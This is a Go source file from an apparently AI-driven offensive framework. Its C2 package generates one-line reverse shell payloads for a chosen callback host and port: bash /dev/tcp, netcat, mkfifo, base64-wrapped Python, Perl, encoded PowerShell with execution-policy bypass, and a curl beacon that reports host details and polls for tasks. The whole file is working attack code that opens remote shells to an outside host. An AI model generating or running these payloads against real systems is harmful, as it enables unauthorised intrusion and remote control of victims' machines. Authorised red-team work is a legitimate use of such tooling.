mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-05-15 12:58:01 +02:00
191 lines
6.8 KiB
Go
191 lines
6.8 KiB
Go
package c2
|
||
|
||
import (
|
||
"fmt"
|
||
"net/url"
|
||
"strings"
|
||
)
|
||
|
||
// OnelinerKind 单行 payload 的语言/形式
|
||
type OnelinerKind string
|
||
|
||
const (
|
||
OnelinerBash OnelinerKind = "bash" // bash 反弹(TCP reverse listener)
|
||
OnelinerNc OnelinerKind = "nc" // netcat 反弹
|
||
OnelinerNcMkfifo OnelinerKind = "nc_mkfifo" // 通过 mkfifo 双向(部分 nc 不支持 -e)
|
||
OnelinerPython OnelinerKind = "python" // python socket 反弹
|
||
OnelinerPerl OnelinerKind = "perl" // perl 反弹
|
||
OnelinerPowerShell OnelinerKind = "powershell" // PowerShell TCP 反弹(IEX 风格)
|
||
OnelinerCurl OnelinerKind = "curl_beacon" // 用 curl 周期性轮询 HTTP beacon(无需二进制)
|
||
)
|
||
|
||
// AllOnelinerKinds 所有支持的 oneliner 类型
|
||
func AllOnelinerKinds() []OnelinerKind {
|
||
return []OnelinerKind{
|
||
OnelinerBash, OnelinerNc, OnelinerNcMkfifo,
|
||
OnelinerPython, OnelinerPerl,
|
||
OnelinerPowerShell, OnelinerCurl,
|
||
}
|
||
}
|
||
|
||
// tcpOnelinerKinds 仅支持 tcp_reverse 监听器的裸 TCP 反弹类型
|
||
var tcpOnelinerKinds = map[OnelinerKind]bool{
|
||
OnelinerBash: true,
|
||
OnelinerNc: true,
|
||
OnelinerNcMkfifo: true,
|
||
OnelinerPython: true,
|
||
OnelinerPerl: true,
|
||
OnelinerPowerShell: true,
|
||
}
|
||
|
||
// httpOnelinerKinds 支持 http_beacon / https_beacon 监听器的类型
|
||
var httpOnelinerKinds = map[OnelinerKind]bool{
|
||
OnelinerCurl: true,
|
||
}
|
||
|
||
// OnelinerKindsForListener 根据监听器类型返回兼容的 oneliner 类型列表
|
||
func OnelinerKindsForListener(listenerType string) []OnelinerKind {
|
||
switch ListenerType(listenerType) {
|
||
case ListenerTypeTCPReverse:
|
||
return []OnelinerKind{
|
||
OnelinerBash, OnelinerNc, OnelinerNcMkfifo,
|
||
OnelinerPython, OnelinerPerl, OnelinerPowerShell,
|
||
}
|
||
case ListenerTypeHTTPBeacon, ListenerTypeHTTPSBeacon, ListenerTypeWebSocket:
|
||
return []OnelinerKind{OnelinerCurl}
|
||
default:
|
||
return nil
|
||
}
|
||
}
|
||
|
||
// IsOnelinerCompatible 检查 oneliner 类型是否与监听器类型兼容
|
||
func IsOnelinerCompatible(listenerType string, kind OnelinerKind) bool {
|
||
switch ListenerType(listenerType) {
|
||
case ListenerTypeTCPReverse:
|
||
return tcpOnelinerKinds[kind]
|
||
case ListenerTypeHTTPBeacon, ListenerTypeHTTPSBeacon, ListenerTypeWebSocket:
|
||
return httpOnelinerKinds[kind]
|
||
default:
|
||
return false
|
||
}
|
||
}
|
||
|
||
// OnelinerInput 生成 oneliner 的入参
|
||
type OnelinerInput struct {
|
||
Kind OnelinerKind
|
||
Host string // 攻击机回连地址(IP/域名)
|
||
Port int // 监听端口
|
||
HTTPBaseURL string // HTTPS Beacon 时使用,如 https://x.com
|
||
ImplantToken string // HTTP Beacon 鉴权 token
|
||
}
|
||
|
||
// GenerateOneliner 生成单行 payload。
|
||
// 设计要点:
|
||
// - 不依赖目标机预装的可执行(除该 oneliner 关键的 bash/python/perl 等);
|
||
// - 不引入引号嵌套陷阱:使用 base64/url 编码避免 shell 转义错误;
|
||
// - 同时返回执行示例,便于 AI 在对话里直接展示给操作员。
|
||
func GenerateOneliner(in OnelinerInput) (string, error) {
|
||
host := strings.TrimSpace(in.Host)
|
||
if host == "" {
|
||
return "", fmt.Errorf("host is required")
|
||
}
|
||
switch in.Kind {
|
||
case OnelinerBash:
|
||
if err := SafeBindPort(in.Port); err != nil {
|
||
return "", err
|
||
}
|
||
// 用 bash -c 包裹,确保在 zsh/sh 等非 bash shell 中也能正确执行
|
||
// /dev/tcp 是 bash 特有的伪设备,必须由 bash 进程解释
|
||
return fmt.Sprintf(`bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1'`, host, in.Port), nil
|
||
|
||
case OnelinerNc:
|
||
if err := SafeBindPort(in.Port); err != nil {
|
||
return "", err
|
||
}
|
||
return fmt.Sprintf(`nc -e /bin/sh %s %d`, host, in.Port), nil
|
||
|
||
case OnelinerNcMkfifo:
|
||
if err := SafeBindPort(in.Port); err != nil {
|
||
return "", err
|
||
}
|
||
// 双向 mkfifo 写法,对没有 -e 的 nc/openbsd-nc 也能用
|
||
return fmt.Sprintf(
|
||
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %d >/tmp/f`,
|
||
host, in.Port,
|
||
), nil
|
||
|
||
case OnelinerPython:
|
||
if err := SafeBindPort(in.Port); err != nil {
|
||
return "", err
|
||
}
|
||
// python -c 单引号包裹,内部用三引号或转义会引发兼容性问题,改用 base64 解码再 exec
|
||
py := fmt.Sprintf(
|
||
`import socket,os,pty;s=socket.socket();s.connect(("%s",%d));[os.dup2(s.fileno(),x) for x in (0,1,2)];pty.spawn("/bin/sh")`,
|
||
host, in.Port,
|
||
)
|
||
// 用 b64 包装规避目标 shell 引号问题
|
||
return fmt.Sprintf(
|
||
`python3 -c "import base64,sys;exec(base64.b64decode('%s').decode())"`,
|
||
b64StdEncode(py),
|
||
), nil
|
||
|
||
case OnelinerPerl:
|
||
if err := SafeBindPort(in.Port); err != nil {
|
||
return "", err
|
||
}
|
||
return fmt.Sprintf(
|
||
`perl -e 'use Socket;$i="%s";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`,
|
||
host, in.Port,
|
||
), nil
|
||
|
||
case OnelinerPowerShell:
|
||
if err := SafeBindPort(in.Port); err != nil {
|
||
return "", err
|
||
}
|
||
// PowerShell TCP 反弹(不依赖 .NET old 版本)
|
||
ps := fmt.Sprintf(
|
||
`$c=New-Object System.Net.Sockets.TcpClient('%s',%d);$s=$c.GetStream();[byte[]]$b=0..65535|%%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2>&1|Out-String);$o2=$o+'PS '+(pwd).Path+'> ';$by=([text.encoding]::ASCII).GetBytes($o2);$s.Write($by,0,$by.Length);$s.Flush()};$c.Close()`,
|
||
host, in.Port,
|
||
)
|
||
return fmt.Sprintf(
|
||
`powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand %s`,
|
||
utf16LEBase64(ps),
|
||
), nil
|
||
|
||
case OnelinerCurl:
|
||
if strings.TrimSpace(in.HTTPBaseURL) == "" {
|
||
return "", fmt.Errorf("http_base_url is required for curl_beacon")
|
||
}
|
||
if strings.TrimSpace(in.ImplantToken) == "" {
|
||
return "", fmt.Errorf("implant_token is required for curl_beacon")
|
||
}
|
||
base := strings.TrimRight(in.HTTPBaseURL, "/")
|
||
return fmt.Sprintf(
|
||
`bash -c 'H="X-Implant-Token: %s";`+
|
||
`URL="%s";`+
|
||
`HN=$(hostname 2>/dev/null||echo unknown);`+
|
||
`UN=$(whoami 2>/dev/null||echo unknown);`+
|
||
`OS=$(uname -s 2>/dev/null||echo unknown);`+
|
||
`AR=$(uname -m 2>/dev/null||echo unknown);`+
|
||
`IP=$(hostname -I 2>/dev/null|awk "{print \$1}"||echo "");`+
|
||
`SID="";`+
|
||
`while :;do `+
|
||
`BODY="{\"hostname\":\"$HN\",\"username\":\"$UN\",\"os\":\"$OS\",\"arch\":\"$AR\",\"internal_ip\":\"$IP\",\"pid\":$$}";`+
|
||
`R=$(curl -fsSk -H "$H" -H "Content-Type: application/json" -X POST "$URL/check_in" -d "$BODY" 2>/dev/null);`+
|
||
`if [ -n "$R" ]&&[ -z "$SID" ];then SID=$(echo "$R"|grep -o "\"session_id\":\"[^\"]*\""|head -1|cut -d"\"" -f4);fi;`+
|
||
`if [ -n "$SID" ];then `+
|
||
`T=$(curl -fsSk -H "$H" -G "$URL/tasks?session_id=$SID" 2>/dev/null);`+
|
||
`fi;`+
|
||
`sleep 5;`+
|
||
`done' &`,
|
||
in.ImplantToken, base,
|
||
), nil
|
||
}
|
||
return "", fmt.Errorf("unsupported oneliner kind: %s", in.Kind)
|
||
}
|
||
|
||
// urlEncodeForShell URL 编码字符串,避免特殊字符在 shell 中破坏转义
|
||
func urlEncodeForShell(s string) string {
|
||
return url.QueryEscape(s)
|
||
}
|